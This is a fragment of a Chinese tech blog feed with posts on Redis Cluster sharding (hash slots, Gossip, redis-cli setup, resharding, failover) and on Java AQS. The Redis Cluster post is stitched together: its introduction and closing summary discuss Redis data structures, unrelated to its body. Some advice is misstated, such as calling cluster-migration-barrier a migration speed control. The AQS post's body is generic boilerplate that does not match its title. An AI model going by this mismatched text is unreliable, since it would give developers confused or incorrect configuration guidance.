内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis Cluster分片集群</title>
      <link href="//redis-cluster-sharding/"/>
      <url>//redis-cluster-sharding/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-Cluster分片集群"><a href="#Redis-Cluster分片集群" class="headerlink" title="Redis Cluster分片集群"></a>Redis Cluster分片集群</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Cluster架构"><a href="#一、Cluster架构" class="headerlink" title="一、Cluster架构"></a>一、Cluster架构</h2><p>#</p><h2 id="1-1-基本架构"><a href="#1-1-基本架构" class="headerlink" title="1.1 基本架构"></a>1.1 基本架构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────┐      ┌─────────┐      ┌─────────┐</span><br><span class="line">│ Master0 │&lt;────&gt;│ Master1 │&lt;────&gt;│ Master2 │</span><br><span class="line">│ 0-5460  │      │ 5461-10922│     │10923-16383│</span><br><span class="line">└────┬────┘      └────┬────┘      └────┬────┘</span><br><span class="line">     │                │                │</span><br><span class="line">  Slave0           Slave1           Slave2</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-核心特点"><a href="#1-2-核心特点" class="headerlink" title="1.2 核心特点"></a>1.2 核心特点</h2><ul><li><strong>数据分片</strong>：16384个哈希槽分配到各节点</li><li><strong>无中心架构</strong>：节点间通过Gossip协议通信</li><li><strong>自动故障转移</strong>：Slave可提升为Master</li><li><strong>客户端直连</strong>：客户端缓存槽位映射，直接访问目标节点</li></ul><h2 id="二、哈希槽（Hash-Slot）"><a href="#二、哈希槽（Hash-Slot）" class="headerlink" title="二、哈希槽（Hash Slot）"></a>二、哈希槽（Hash Slot）</h2><p>#</p><h2 id="2-1-哈希槽机制"><a href="#2-1-哈希槽机制" class="headerlink" title="2.1 哈希槽机制"></a>2.1 哈希槽机制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis Cluster将key空间分为16384个槽（0-16383）</span><br><span class="line"></span><br><span class="line">计算key对应的槽：</span><br><span class="line">slot = CRC16(key) % 16384</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">key &quot;user:1001&quot; → CRC16(&quot;user:1001&quot;) % 16384 = 8523</span><br><span class="line">key &quot;order:2001&quot; → CRC16(&quot;order:2001&quot;) % 16384 = 1234</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-槽位分配"><a href="#2-2-槽位分配" class="headerlink" title="2.2 槽位分配"></a>2.2 槽位分配</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">6节点Cluster（3主3从）：</span><br><span class="line"></span><br><span class="line">Master A: slots 0-5460      (5461个槽)</span><br><span class="line">Master B: slots 5461-10922  (5462个槽)</span><br><span class="line">Master C: slots 10923-16383 (5461个槽)</span><br><span class="line"></span><br><span class="line">Slave A 复制 Master A</span><br><span class="line">Slave B 复制 Master B</span><br><span class="line">Slave C 复制 Master C</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-Hash-Tag"><a href="#2-3-Hash-Tag" class="headerlink" title="2.3 Hash Tag"></a>2.3 Hash Tag</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">使用Hash Tag可以让相关key分配到同一槽：</span><br><span class="line"></span><br><span class="line">key格式：&#123;tag&#125;:rest</span><br><span class="line">只有tag部分参与计算slot</span><br><span class="line"></span><br><span class="line">示例：</span><br><span class="line">&#123;user&#125;:1001:profile  → 计算 &#123;user&#125; 的slot</span><br><span class="line">&#123;user&#125;:1001:orders   → 同上，同一槽</span><br><span class="line">&#123;user&#125;:1002:profile  → 不同tag，不同槽</span><br><span class="line"></span><br><span class="line">用途：</span><br><span class="line">- 保证相关数据在同一节点</span><br><span class="line">- 支持跨key操作（如MGET、事务、Lua脚本）</span><br></pre></td></tr></table></figure><h2 id="三、节点通信"><a href="#三、节点通信" class="headerlink" title="三、节点通信"></a>三、节点通信</h2><p>#</p><h2 id="3-1-Gossip协议"><a href="#3-1-Gossip协议" class="headerlink" title="3.1 Gossip协议"></a>3.1 Gossip协议</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">每个节点每秒随机选择几个节点发送PING：</span><br><span class="line"></span><br><span class="line">Node A ──PING──&gt; Node B</span><br><span class="line">                （携带自己知道的节点状态）</span><br><span class="line">                </span><br><span class="line">Node B ──PONG──&gt; Node A</span><br><span class="line">                （携带自己知道的节点状态）</span><br><span class="line"></span><br><span class="line">通过多次交换，每个节点最终知道整个集群的状态</span><br></pre></td></tr></table></figure><p><strong>PING/PONG消息内容</strong>：</p><ul><li>发送节点的信息（id, ip, port, role, slots）</li><li>发送节点知道的其他节点信息（1/10随机选择）</li><li>发送节点标记为 FAIL 的节点列表</li></ul><p>#</p><h2 id="3-2-故障检测"><a href="#3-2-故障检测" class="headerlink" title="3.2 故障检测"></a>3.2 故障检测</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Node A 发现 Node B 未响应PING</span><br><span class="line">    │</span><br><span class="line">    ├── 标记 Node B 为 PFAIL（疑似故障）</span><br><span class="line">    │</span><br><span class="line">    ├── 通过Gossip传播PFAIL信息</span><br><span class="line">    │</span><br><span class="line">    ├── 大多数Master节点都认为Node B是PFAIL</span><br><span class="line">    │</span><br><span class="line">    └── 将PFAIL升级为FAIL（确认故障）</span><br><span class="line">        └── 触发故障转移</span><br></pre></td></tr></table></figure><h2 id="四、Cluster配置"><a href="#四、Cluster配置" class="headerlink" title="四、Cluster配置"></a>四、Cluster配置</h2><p>#</p><h2 id="4-1-节点配置"><a href="#4-1-节点配置" class="headerlink" title="4.1 节点配置"></a>4.1 节点配置</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf (每个节点)</span><br><span class="line"></span><br><span class="line">port 6379</span><br><span class="line">cluster-enabled yes</span><br><span class="line">cluster-config-file nodes-6379.conf</span><br><span class="line">cluster-node-timeout 5000</span><br><span class="line">cluster-require-full-coverage no</span><br><span class="line"></span><br><span class="line"># 可选：保护模式</span><br><span class="line">protected-mode no</span><br><span class="line"></span><br><span class="line"># AOF持久化（推荐）</span><br><span class="line">appendonly yes</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-创建Cluster"><a href="#4-2-创建Cluster" class="headerlink" title="4.2 创建Cluster"></a>4.2 创建Cluster</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 启动6个节点</span></span><br><span class="line">redis-server conf/redis-6379.conf</span><br><span class="line">redis-server conf/redis-6380.conf</span><br><span class="line">redis-server conf/redis-6381.conf</span><br><span class="line">redis-server conf/redis-6382.conf</span><br><span class="line">redis-server conf/redis-6383.conf</span><br><span class="line">redis-server conf/redis-6384.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 创建Cluster</span></span><br><span class="line">redis-cli --cluster create \</span><br><span class="line">    192.168.1.100:6379 192.168.1.100:6380 192.168.1.100:6381 \</span><br><span class="line">    192.168.1.100:6382 192.168.1.100:6383 192.168.1.100:6384 \</span><br><span class="line">    --cluster-replicas 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># --cluster-replicas 1: 每个Master有1个Slave</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-查看Cluster信息"><a href="#4-3-查看Cluster信息" class="headerlink" title="4.3 查看Cluster信息"></a>4.3 查看Cluster信息</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看节点信息</span></span><br><span class="line">redis-cli -p 6379 CLUSTER NODES</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出：</span></span><br><span class="line"><span class="comment"># &lt;id&gt; &lt;ip:port&gt;@&lt;cport&gt; &lt;flags&gt; &lt;master_id&gt; &lt;ping_sent&gt; &lt;pong_recv&gt; &lt;epoch&gt; &lt;link_state&gt; &lt;slot&gt;</span></span><br><span class="line"><span class="comment"># a1b2... 192.168.1.100:6379@16379 myself,master - 0 1625097600 1 connected 0-5460</span></span><br><span class="line"><span class="comment"># c3d4... 192.168.1.100:6380@16380 master - 0 1625097601 2 connected 5461-10922</span></span><br><span class="line"><span class="comment"># e5f6... 192.168.1.100:6381@16381 master - 0 1625097602 3 connected 10923-16383</span></span><br><span class="line"><span class="comment"># g7h8... 192.168.1.100:6382@16382 slave a1b2... 0 1625097603 1 connected</span></span><br><span class="line"><span class="comment"># ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看槽位分配</span></span><br><span class="line">redis-cli -p 6379 CLUSTER SLOTS</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看当前节点信息</span></span><br><span class="line">redis-cli -p 6379 CLUSTER INFO</span><br></pre></td></tr></table></figure><h2 id="五、请求路由"><a href="#五、请求路由" class="headerlink" title="五、请求路由"></a>五、请求路由</h2><p>#</p><h2 id="5-1-MOVED重定向"><a href="#5-1-MOVED重定向" class="headerlink" title="5.1 MOVED重定向"></a>5.1 MOVED重定向</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端发送：GET key</span><br><span class="line">    │</span><br><span class="line">    ├── 计算slot = CRC16(key) % 16384 = 8523</span><br><span class="line">    │</span><br><span class="line">    ├── 客户端缓存的映射：8523 -&gt; Node A</span><br><span class="line">    │</span><br><span class="line">    └── 发送到Node A</span><br><span class="line">        │</span><br><span class="line">        ├── Node A发现8523槽已迁移到Node B</span><br><span class="line">        │</span><br><span class="line">        └── 返回：MOVED 8523 192.168.1.100:6380</span><br><span class="line">            </span><br><span class="line">客户端收到MOVED：</span><br><span class="line">    ├── 更新缓存：8523 -&gt; Node B</span><br><span class="line">    └── 重定向到Node B</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-ASK重定向"><a href="#5-2-ASK重定向" class="headerlink" title="5.2 ASK重定向"></a>5.2 ASK重定向</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">槽正在迁移中：</span><br><span class="line"></span><br><span class="line">源节点(Node A)              目标节点(Node B)</span><br><span class="line">    │                            │</span><br><span class="line">    ├── 部分数据已迁移到Node B ──&gt;│</span><br><span class="line">    │                            │</span><br><span class="line">    │  客户端请求迁移中的key      │</span><br><span class="line">    │ ─────────────────────────&gt; │</span><br><span class="line">    │                            │</span><br><span class="line">    ├── 如果key已迁移            │</span><br><span class="line">    │   └── 返回：ASK 8523 NodeB │</span><br><span class="line">    │                            │</span><br><span class="line">    └── 如果key未迁移            │</span><br><span class="line">        └── 直接处理             │</span><br><span class="line"></span><br><span class="line">ASK和MOVED的区别：</span><br><span class="line">- MOVED：槽已永久迁移，客户端应更新映射</span><br><span class="line">- ASK：槽正在迁移，只是本次请求重定向</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-Smart-Client"><a href="#5-3-Smart-Client" class="headerlink" title="5.3 Smart Client"></a>5.3 Smart Client</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Jedis Cluster（Smart Client）</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisClusterConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> JedisCluster <span class="title function_">jedisCluster</span><span class="params">()</span> &#123;</span><br><span class="line">        Set&lt;HostAndPort&gt; nodes = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6379</span>));</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6380</span>));</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6381</span>));</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6382</span>));</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6383</span>));</span><br><span class="line">        nodes.add(<span class="keyword">new</span> <span class="title class_">HostAndPort</span>(<span class="string">&quot;192.168.1.100&quot;</span>, <span class="number">6384</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="type">JedisPoolConfig</span> <span class="variable">poolConfig</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">JedisPoolConfig</span>();</span><br><span class="line">        poolConfig.setMaxTotal(<span class="number">100</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JedisCluster</span>(nodes, <span class="number">5000</span>, <span class="number">5000</span>, <span class="number">3</span>, <span class="string">&quot;password&quot;</span>, poolConfig);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="meta">@Autowired</span></span><br><span class="line"><span class="keyword">private</span> JedisCluster jedisCluster;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(String key, String value)</span> &#123;</span><br><span class="line">    <span class="comment">// 客户端自动计算slot并路由到正确节点</span></span><br><span class="line">    jedisCluster.set(key, value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-4-Spring-Boot配置"><a href="#5-4-Spring-Boot配置" class="headerlink" title="5.4 Spring Boot配置"></a>5.4 Spring Boot配置</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">redis:</span></span><br><span class="line">    <span class="attr">cluster:</span></span><br><span class="line">      <span class="attr">nodes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6379</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6380</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6381</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6382</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6383</span></span><br><span class="line">        <span class="bullet">-</span> <span class="number">192.168</span><span class="number">.1</span><span class="number">.100</span><span class="string">:6384</span></span><br><span class="line">      <span class="attr">max-redirects:</span> <span class="number">3</span></span><br><span class="line">    <span class="attr">password:</span> <span class="string">password</span></span><br><span class="line">    <span class="attr">lettuce:</span></span><br><span class="line">      <span class="attr">pool:</span></span><br><span class="line">        <span class="attr">max-active:</span> <span class="number">100</span></span><br></pre></td></tr></table></figure><h2 id="六、扩缩容"><a href="#六、扩缩容" class="headerlink" title="六、扩缩容"></a>六、扩缩容</h2><p>#</p><h2 id="6-1-添加新节点"><a href="#6-1-添加新节点" class="headerlink" title="6.1 添加新节点"></a>6.1 添加新节点</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 启动新节点</span></span><br><span class="line">redis-server conf/redis-6385.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 添加为Master</span></span><br><span class="line">redis-cli --cluster add-node 192.168.1.100:6385 192.168.1.100:6379</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 分配槽位（从现有节点迁移）</span></span><br><span class="line">redis-cli --cluster reshard 192.168.1.100:6379</span><br><span class="line"><span class="comment"># 输入要迁移的槽数：4096</span></span><br><span class="line"><span class="comment"># 输入目标节点ID：新节点ID</span></span><br><span class="line"><span class="comment"># 输入源节点ID：all（从所有节点平均迁移）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-添加Slave"><a href="#6-2-添加Slave" class="headerlink" title="6.2 添加Slave"></a>6.2 添加Slave</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 添加Slave到指定Master</span></span><br><span class="line">redis-cli --cluster add-node 192.168.1.100:6386 192.168.1.100:6379 \</span><br><span class="line">    --cluster-slave --cluster-master-id &lt;master-id&gt;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-删除节点"><a href="#6-3-删除节点" class="headerlink" title="6.3 删除节点"></a>6.3 删除节点</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 先迁移该节点的槽位到其他节点</span></span><br><span class="line">redis-cli --cluster reshard 192.168.1.100:6379</span><br><span class="line"><span class="comment"># 将所有槽迁移走</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 删除节点</span></span><br><span class="line">redis-cli --cluster del-node 192.168.1.100:6379 &lt;node-id&gt;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-4-槽位迁移流程"><a href="#6-4-槽位迁移流程" class="headerlink" title="6.4 槽位迁移流程"></a>6.4 槽位迁移流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">迁移slot 8523从Node A到Node B：</span><br><span class="line"></span><br><span class="line">1. Node A设置slot 8523为MIGRATING状态</span><br><span class="line">2. Node B设置slot 8523为IMPORTING状态</span><br><span class="line"></span><br><span class="line">3. 对slot 8523中的每个key：</span><br><span class="line">   a. 从Node A获取key（DUMP）</span><br><span class="line">   b. 发送到Node B（RESTORE）</span><br><span class="line">   c. 从Node A删除key</span><br><span class="line"></span><br><span class="line">4. 所有key迁移完成后：</span><br><span class="line">   a. 将slot 8523分配给Node B</span><br><span class="line">   b. 通过Gossip传播新配置</span><br></pre></td></tr></table></figure><h2 id="七、故障转移"><a href="#七、故障转移" class="headerlink" title="七、故障转移"></a>七、故障转移</h2><p>#</p><h2 id="7-1-自动故障转移"><a href="#7-1-自动故障转移" class="headerlink" title="7.1 自动故障转移"></a>7.1 自动故障转移</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Master A故障</span><br><span class="line">    │</span><br><span class="line">    ├── 其他Master通过Gossip发现A故障</span><br><span class="line">    │</span><br><span class="line">    ├── 标记A为FAIL（需要多数Master同意）</span><br><span class="line">    │</span><br><span class="line">    ├── Slave A发起选举</span><br><span class="line">    │   （向其他Master请求投票）</span><br><span class="line">    │</span><br><span class="line">    ├── 获得多数票 → 提升为Master</span><br><span class="line">    │</span><br><span class="line">    ├── 接管Master A的槽位</span><br><span class="line">    │</span><br><span class="line">    └── 通过Gossip通知所有节点</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-手动故障转移"><a href="#7-2-手动故障转移" class="headerlink" title="7.2 手动故障转移"></a>7.2 手动故障转移</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 在Slave上执行，安全切换（零数据丢失）</span></span><br><span class="line">redis-cli -p 6382 CLUSTER FAILOVER</span><br><span class="line"></span><br><span class="line"><span class="comment"># 强制故障转移（可能丢失少量数据）</span></span><br><span class="line">redis-cli -p 6382 CLUSTER FAILOVER FORCE</span><br><span class="line"></span><br><span class="line"><span class="comment"># 强制接管（用于原Master完全不可用）</span></span><br><span class="line">redis-cli -p 6382 CLUSTER FAILOVER TAKEOVER</span><br></pre></td></tr></table></figure><h2 id="八、Cluster限制"><a href="#八、Cluster限制" class="headerlink" title="八、Cluster限制"></a>八、Cluster限制</h2><p>#</p><h2 id="8-1-跨槽操作限制"><a href="#8-1-跨槽操作限制" class="headerlink" title="8.1 跨槽操作限制"></a>8.1 跨槽操作限制</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 以下命令要求所有key在同一槽：</span></span><br><span class="line">MGET key1 key2          <span class="comment"># 如果key1和key2在不同槽，报错</span></span><br><span class="line">MSET key1 v1 key2 v2    <span class="comment"># 同上</span></span><br><span class="line">RENAME key1 key2        <span class="comment"># 同上</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解决方案：使用Hash Tag</span></span><br><span class="line">MGET &#123;user&#125;:1001:name &#123;user&#125;:1001:age</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-事务和Lua脚本限制"><a href="#8-2-事务和Lua脚本限制" class="headerlink" title="8.2 事务和Lua脚本限制"></a>8.2 事务和Lua脚本限制</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 事务中的key必须在同一槽</span></span><br><span class="line">MULTI</span><br><span class="line">SET &#123;user&#125;:1001:name <span class="string">&quot;Alice&quot;</span></span><br><span class="line">SET &#123;user&#125;:1001:age 25</span><br><span class="line">EXEC</span><br><span class="line"></span><br><span class="line"><span class="comment"># Lua脚本中的key必须在同一槽</span></span><br><span class="line">EVAL <span class="string">&quot;return redis.call(&#x27;set&#x27;, KEYS[1], ARGV[1])&quot;</span> 1 &#123;user&#125;:1001:name Alice</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-多key操作限制"><a href="#8-3-多key操作限制" class="headerlink" title="8.3 多key操作限制"></a>8.3 多key操作限制</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用Hash Tag确保相关key在同一槽</span></span><br><span class="line"><span class="type">String</span> <span class="variable">userTag</span> <span class="operator">=</span> <span class="string">&quot;&#123;user:1001&#125;&quot;</span>;</span><br><span class="line">redis.mset(</span><br><span class="line">    userTag + <span class="string">&quot;:name&quot;</span>, <span class="string">&quot;Alice&quot;</span>,</span><br><span class="line">    userTag + <span class="string">&quot;:age&quot;</span>, <span class="string">&quot;25&quot;</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="九、常见问题"><a href="#九、常见问题" class="headerlink" title="九、常见问题"></a>九、常见问题</h2><p>#</p><h2 id="9-1-CLUSTERDOWN错误"><a href="#9-1-CLUSTERDOWN错误" class="headerlink" title="9.1 CLUSTERDOWN错误"></a>9.1 CLUSTERDOWN错误</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 如果配置cluster-require-full-coverage yes</span></span><br><span class="line"><span class="comment"># 当部分槽不可用时，返回CLUSTERDOWN</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解决：</span></span><br><span class="line">redis-cli CONFIG SET cluster-require-full-coverage no</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或恢复故障节点</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-2-脑裂问题"><a href="#9-2-脑裂问题" class="headerlink" title="9.2 脑裂问题"></a>9.2 脑裂问题</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 配置最小Slave数，防止脑裂</span><br><span class="line">min-replicas-to-write 1</span><br><span class="line">min-replicas-max-lag 10</span><br></pre></td></tr></table></figure><p>#</p><h2 id="9-3-大数据量迁移慢"><a href="#9-3-大数据量迁移慢" class="headerlink" title="9.3 大数据量迁移慢"></a>9.3 大数据量迁移慢</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 控制迁移速度</span></span><br><span class="line">redis-cli CONFIG SET cluster-migration-barrier 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用pipeline加速迁移</span></span><br><span class="line">redis-cli --cluster reshard --pipeline 100 ...</span><br></pre></td></tr></table></figure><h2 id="十、总结"><a href="#十、总结" class="headerlink" title="十、总结"></a>十、总结</h2><table><thead><tr><th>特性</th><th>说明</th></tr></thead><tbody><tr><td>哈希槽</td><td>16384个槽，CRC16(key) % 16384</td></tr><tr><td>数据分片</td><td>槽分配到各Master节点</td></tr><tr><td>通信协议</td><td>Gossip，去中心化</td></tr><tr><td>故障检测</td><td>PFAIL → FAIL，多数同意</td></tr><tr><td>故障转移</td><td>Slave选举，自动提升</td></tr><tr><td>客户端</td><td>Smart Client，缓存槽映射</td></tr><tr><td>扩缩容</td><td>槽迁移，在线进行</td></tr></tbody></table><table><thead><tr><th>场景</th><th>方案</th></tr></thead><tbody><tr><td>数据量 &lt; 10GB</td><td>单实例或Sentinel</td></tr><tr><td>数据量 &gt; 10GB</td><td>Cluster</td></tr><tr><td>需要水平扩展</td><td>Cluster</td></tr><tr><td>多key操作多</td><td>使用Hash Tag或Sentinel</td></tr></tbody></table><p>Redis Cluster是Redis水平扩展的标准方案，适合大数据量和高并发场景。但需要注意跨槽操作的限制，合理设计key的Hash Tag。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-为什么是并发工具的基础"><a href="#AQS-为什么是并发工具的基础" class="headerlink" title="AQS 为什么是并发工具的基础"></a>AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
